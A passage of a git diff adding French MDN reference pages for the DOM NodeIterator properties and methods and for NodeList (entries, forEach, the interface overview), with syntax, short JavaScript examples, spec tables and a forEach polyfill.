+<p>La propriété en lecture seule <strong><code>NodeIterator.pointerBeforeReferenceNode</code></strong> renvoie un {{domxref("Boolean")}} (booléen) qui indique si le {{domxref("NodeFilter")}} est ancré avant (si la valeur est <code>true</code> (<em>vrai</em>)) ou après (<code>false</code> (<em>faux</em>)) le noeud-ancre indiqué par la propriété {{domxref("NodeIterator.referenceNode")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>flag</em> = <em>nodeIterator</em>.pointerBeforeReferenceNode;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+flag = nodeIterator.pointerBeforeReferenceNode;</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-pointerbeforereferencenode', 'NodeIterator.pointerBeforeReferenceNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.pointerBeforeReferenceNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle elle appartient : {{domxref("NodeIterator")}}</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/previousnode/index.html b/files/fr/web/api/nodeiterator/previousnode/index.html
new file mode 100644
index 0000000000..d0bfa021f4
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/previousnode/index.html
@@ -0,0 +1,69 @@
+---
+title: NodeIterator.previousNode()
+slug: Web/API/NodeIterator/previousNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/NodeIterator/previousNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>NodeIterator.previousNode()</strong></code> renvoie le noeud précédent dans l'ensemble représenté par le {{domxref("NodeIterator")}} et déplace la position de l'itérateur vers l'arrière à l'intérieur de cet ensemble.</p>
+
+<p>Cette méthode renvoie <code>null</code> si le noeud courant est le premier noeud dans l'ensemble.</p>
+
+<p>Dans les navigateurs anciens, comme spécifié dans les anciennes version des spécifications, la méthode pouvait déclencher une <code>INVALID_STATE_ERR</code> {{domxref("DOMException")}} si elle était appelée après la méthode {{domxref("NodeIterator.detach()")}}. Les navigateurs récents ne lancent rien.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>nodeIterator</em>.previousNode();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false // cet argument facultatif n'est plus utilisé
+);
+currentNode = nodeIterator.nextNode(); // renvoie le noeud suivant
+previousNode = nodeIterator.previousNode(); // même résultat, puisque nous sommes retournés au noeud précédent
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-previousnode', 'NodeIterator.previousNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Comme <code>detach()</code> est maintenant une méthode non opérante, cette méthode ne peut plus rien lancer.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeIterator-previousNode', 'NodeIterator.previousNode')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.previousNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle elle appartient : {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/referencenode/index.html b/files/fr/web/api/nodeiterator/referencenode/index.html
new file mode 100644
index 0000000000..b138a52723
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/referencenode/index.html
@@ -0,0 +1,60 @@
+---
+title: NodeIterator.referenceNode
+slug: Web/API/NodeIterator/referenceNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/NodeIterator/referenceNode
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable }}</p>
+
+<p>La propriété en lecture seule <strong><code>NodeIterator.referenceNode</code></strong> renvoie le {{domxref("Node")}} auquel l'itérateur est ancré ; si de nouveaux noeuds sont insérés, l'itérateur reste ancré au noeud de référence spécifié par cette propriété.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>nodeIterator</em>.referenceNode;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+node = nodeIterator.referenceNode;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-referencenode', 'NodeIterator.referenceNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.referenceNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle elle appartient : {{domxref("NodeIterator")}}</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/root/index.html b/files/fr/web/api/nodeiterator/root/index.html
new file mode 100644
index 0000000000..b5d6aeead3
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/root/index.html
@@ -0,0 +1,65 @@
+---
+title: NodeIterator.root
+slug: Web/API/NodeIterator/root
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Noeuds
+  - Propriété
+translation_of: Web/API/NodeIterator/root
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <code><strong>NodeIterator.root</strong></code> représente le {{DOMxref("Node")}} qui est la racine de ce que le {{DOMxref("NodeIterator")}} traverse.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>root</em> = <em>nodeIterator</em>.root;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+root = nodeIterator.root; // document.body dans ce cas
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-root', 'NodeIterator.root')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeIterator-root', 'NodeIterator.root')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.root")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle elle appartient : {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/whattoshow/index.html b/files/fr/web/api/nodeiterator/whattoshow/index.html
new file mode 100644
index 0000000000..a36dbc4527
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/whattoshow/index.html
@@ -0,0 +1,145 @@
+---
+title: NodeIterator.whatToShow
+slug: Web/API/NodeIterator/whatToShow
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/NodeIterator/whatToShow
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <strong><code>NodeIterator.whatToShow</code></strong> est un <code>unsigned integer</code> (<em>entier non signé</em>) représentant un masque de bits désignant le type de noeuds qui doit être renvoyé par le {{domxref("NodeIterator")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var nodeTypes = <em>nodeIterator</em>.whatToShow;
+</pre>
+
+<p>Les valeurs pouvant être combinées pour former le masque de bits sont :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constante</td>
+   <td class="header">Valeur numérique</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ALL</code></td>
+   <td><code>-1</code> (c'est la valeur numérique maximale du <code>unsigned long</code> (<em>non signé long</em>))</td>
+   <td>Affiche tous les noeuds.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+   <td><code>2</code></td>
+   <td>Affiche l'attribut {{domxref("Attr")}} des noeuds. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Attr")}} comme racine ; dans ce cas, cela signifie que le nœud d'attribut apparaîtra dans la première position de l'itération ou de la traversée. Comme les attributs ne sont jamais des enfants d'autres nœuds, ils n'apparaissent pas lors de la traversée de l'arbre du document.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+   <td><code>8</code></td>
+   <td>Affiche les noeuds {{domxref("CDATASection")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_COMMENT</code></td>
+   <td><code>128</code></td>
+   <td>Affiche les noeuds {{domxref("Comment")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+   <td><code>256</code></td>
+   <td>Affiche les noeuds {{domxref("Document")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+   <td><code>1024</code></td>
+   <td>Affiche les noeuds {{domxref("DocumentFragment")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+   <td><code>512</code></td>
+   <td>Affiche les noeuds {{domxref("DocumentType")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+   <td><code>1</code></td>
+   <td>Affiche les noeuds {{domxref("Element")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+   <td><code>32</code></td>
+   <td>Affiche les noeuds {{domxref("Entity")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{ domxref("Entity") }} comme racine ; dans ce cas, il signifie que le noeud d'entité {{domxref("Entity") }} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+   <td><code>16</code></td>
+   <td>Affiche les noeuds {{domxref("EntityReference")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+   <td><code>2048</code></td>
+   <td>Affiche les noeuds {{domxref("Notation")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Notation")}} comme racine ; dans ce cas, il signifie que le noeud {{domxref("Notation")}} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+   <td><code>64</code></td>
+   <td>Affiche les noeuds {{domxref("ProcessingInstruction")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_TEXT</code></td>
+   <td><code>4</code></td>
+   <td>Affiche les noeuds {{domxref("Text")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT + NodeFilter.SHOW_COMMENT + NodeFilter.SHOW_TEXT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+if( (nodeIterator.whatToShow == NodeFilter.SHOW_ALL) ||
+    (nodeIterator.whatToShow % (NodeFilter.SHOW_COMMENT*2)) &gt;= NodeFilter.SHOW_COMMENT) {
+    // nodeIterator affichera les commentaires
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-whattoshow', 'NodeIterator.whatToShow')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM2 Traversal_Range')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeIterator-whatToShow', 'NodeIterator.whatToShow')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définitioni initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.whatToShow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle cette propriété appartient : {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodelist/entries/index.html b/files/fr/web/api/nodelist/entries/index.html
new file mode 100644
index 0000000000..7888945118
--- /dev/null
+++ b/files/fr/web/api/nodelist/entries/index.html
@@ -0,0 +1,81 @@
+---
+title: NodeList.entries()
+slug: Web/API/NodeList/entries
+tags:
+  - API
+  - DOM
+  - Iteration
+  - Liste
+  - Méthodes
+  - Node
+  - NodeList
+  - Noeuds
+translation_of: Web/API/NodeList/entries
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>NodeList.entries()</strong></code> renvoie un {{jsxref("Les_protocoles_iteration",'itérateur')}} permettant de parcourir toutes les paires clé / valeur contenues dans cet objet . Les valeurs sont des objets {{domxref("Node")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">list.entries();</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[12]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Utiliser for..of
+for (var entry of list.entries()) {
+  console.log(entry);
+}
+</pre>
+
+<p>résultat :</p>
+
+<pre>Array [ 0, &lt;p&gt; ]
+Array [ 1, #text "hey" ]
+Array [ 2, &lt;span&gt; ]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nodelist','entries() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.NodeList.entries")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/nodelist/foreach/index.html b/files/fr/web/api/nodelist/foreach/index.html
new file mode 100644
index 0000000000..7ab1ed297b
--- /dev/null
+++ b/files/fr/web/api/nodelist/foreach/index.html
@@ -0,0 +1,123 @@
+---
+title: NodeList.prototype.forEach()
+slug: Web/API/NodeList/forEach
+tags:
+  - API
+  - DOM
+  - Liste
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/NodeList/forEach
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <strong><code>forEach()</code></strong> de l'interface {{domxref("NodeList")}} appelle le rappel donné en paramètre une fois pour chaque paire de valeurs dans la liste, dans l'ordre d'insertion.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nodeList.</em>forEach<em>(callback[, thisArg]);</em>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Fonction à exécuter pour chaque élément, contenant éventuellement 3 arguments :
+ <dl>
+  <dt><em><code>currentValue</code></em></dt>
+  <dd>L'élément en cours de traitement dans la NodeList.</dd>
+  <dt><code><em>currentIndex</em></code></dt>
+  <dd>L'index de l'élément en cours de traitement dans la NodeList.</dd>
+  <dt><em><code>listObj</code></em></dt>
+  <dd>L'objet NodeList auquel <code>forEach()</code> est appliqué.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code><code> {{Optional_inline}}</code></dt>
+ <dd>Valeur à utiliser comme {{jsxref("this")}} lors de l'exécution du <code>callback</code> (<em>rappel</em>).</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>{{jsxref('undefined')}} (<em>indéfini</em>).</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<p><em>Aucune</em>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[6]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+list.forEach(
+  function(currentValue, currentIndex, listObj) {
+    console.log(currentValue + ', ' + currentIndex + ', ' + this);
+  },
+  'myThisArg'
+);</pre>
+
+<p>résultat :</p>
+
+<pre>[object HTMLParagraphElement], 0, myThisArg
+[object Text], 1, myThisArg
+[object HTMLSpanElement], 2, myThisArg</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Ce {{Glossary("Polyfill","polyfill")}} ajoute une compatibilité à tous les navigateurs prenant en charge <a href="https://caniuse.com/#search=es5">ES5</a> :</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = function (callback, thisArg) {
+        thisArg = thisArg || window;
+        for (var i = 0; i &lt; this.length; i++) {
+            callback.call(thisArg, this[i], i, this);
+        }
+    };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td>Définit <code>NodeList</code> comme <code>iterable&lt;Node&gt; </code>(<em>noeud itérable</em>)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebIDL", "#es-forEach", "forEach")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Définit <code>forEach</code> sur les déclarations <code>iterable</code> (<em>itératives</em>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.NodeList.forEach")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/nodelist/index.html b/files/fr/web/api/nodelist/index.html
new file mode 100644
index 0000000000..6748e70ec7
--- /dev/null
+++ b/files/fr/web/api/nodelist/index.html
@@ -0,0 +1,201 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+tags:
+  - API
+  - DOM
+  - Interface
+  - Liste
+  - Noeuds
+translation_of: Web/API/NodeList
+---
+<p id="Sommaire">{{APIRef("DOM")}}</p>
+
+<p>Les objets <strong><code>NodeList</code></strong> sont des collections de nœuds comme celles retournées par {{domxref("Node.childNodes")}} et la méthode {{domxref("document.querySelectorAll()")}}.</p>
+
+<div class="note">
+<p>Bien que <code>NodeList</code> ne soit pas un tableau (<code>Array</code>), il est possible d'itérer dessus en utilisant <code>forEach()</code>. Il peut également être converti en tableau (<code>Array</code>) en utilisant {{jsxref("Array.from()")}}.</p>
+
+<p>Néanmoins certains vieux navigateurs n'ont pas encore implémenté <code>NodeList.forEach()</code> ni <code>Array.from()</code>. Mais ces limitations peuvent être contournées en utilisant {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} (plus dans ce document).</p>
+</div>
+
+<p>Dans certains cas, la <code>NodeList</code> est une collection en direct, ce qui signifie que les changements dans le DOM sont reflétés dans la collection. Par exemple,  {{domxref("Node.childNodes")}} est en direct :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> parent <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'parent'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> child_nodes <span class="operator token">=</span> parent<span class="punctuation token">.</span>childNodes<span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>child_nodes<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// supposons "2"</span>
+parent<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'div'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>child_nodes<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// devrait afficher "3"</span></code></pre>
+
+<p>Dans d'autres cas, la <code>NodeList</code> est une collection statique, ce qui signifie que tout changement dans le DOM n'affectera pas le contenu de la collection. {{domxref("document.querySelectorAll()")}}  renvoie une <code>NodeList</code> statique.</p>
+
+<p>Il est bon de garder cette distinction à l'esprit pour choisir la façon de parcourir les éléments de la liste des nœuds et, en particulier, pour mettre en cache la longueur de la liste.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.length")}}</dt>
+</dl>
+
+<dl>
+ <dd>Le nombre de nœuds dans la <code>NodeList</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.item()")}}</dt>
+ <dd>Retourne un élément de la liste par son index ou <code>null</code> si l'index est en dehors des limites. Équivalent à <code>nodeList[idx]</code> (qui renvoie à la place <code>undefined</code> quand  <code>idx</code> est hors des limites).</dd>
+ <dt>{{domxref("NodeList.entries()")}}</dt>
+ <dd>renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}} permettant de parcourir toutes les paires clé / valeur contenues dans cet objet.</dd>
+ <dt>{{domxref("NodeList.forEach()")}}</dt>
+ <dd>exécute une fonction fournie une fois par élément <code>NodeList</code>.</dd>
+ <dt>{{domxref("NodeList.keys()")}}</dt>
+ <dd>renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}} permettant de parcourir toutes les clés des paires clé / valeur contenues dans cet objet.</dd>
+ <dt>{{domxref("NodeList.values()")}}</dt>
+ <dd>renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}} permettant de parcourir toutes les valeurs des paires clé / valeur contenues dans cet objet.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Il est possible de boucler sur les éléments d'une <code>NodeList</code> en utilisant :</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; myNodeList.length; ++i) {
+  var item = myNodeList[i];  // L'appel de myNodeList.item(i) n'est pas nécessaire en JavaScript
+}
+</pre>
+
+<p>Ne soyez pas tenté d'utiliser <code><a href="/fr/docs/JavaScript/Reference/Instructions/for...in" title="JavaScript/ Reference/Statements/for...in">for… in</a></code> ou <code><a href="/fr/docs/JavaScript/Reference/Instructions/for_each…in" title="JavaScript/ Reference/Statements/for each...in">for each… in</a></code> pour énumérer les éléments de la liste, car cela énumère également la taille (<code>length</code>) et les propriétés du <code>NodeList</code> et cause des erreurs si votre script ne gère que les objets de type {{domxref("element")}}. De plus, <code>for… in</code> ne garantit pas de visiter les propriétés dans un ordre particulier.</p>
+
+<p>Les boucles <code><a href="/fr/docs/JavaScript/Référence_JavaScript/Instructions/for...of" title="JavaScript/Reference/Statements/for...of">for… of</a></code> boucleront correctement sur les objets <code>NodeList</code> :</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}</pre>
+
+<p id="Comment_convertir_un_NodeList_en_Array">Les navigateurs récents prennent également en charge les méthodes d'itérateur {{domxref("NodeList.forEach()", "forEach()")}}, aussi bien que {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}} et {{domxref("NodeList.keys()", "keys()")}}.</p>
+
+<p>Il y a aussi dans Internet Explorer une façon compatible d'utiliser {{jsxref("Array.forEach()", "Array.prototype.forEach")}} pour l'itération.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> list <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span> <span class="string token">'input[type=checkbox]'</span> <span class="punctuation token">)</span><span class="punctuation token">;</span>
+Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>forEach<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span>list<span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>item<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  item<span class="punctuation token">.</span>checked <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM3 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM2 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
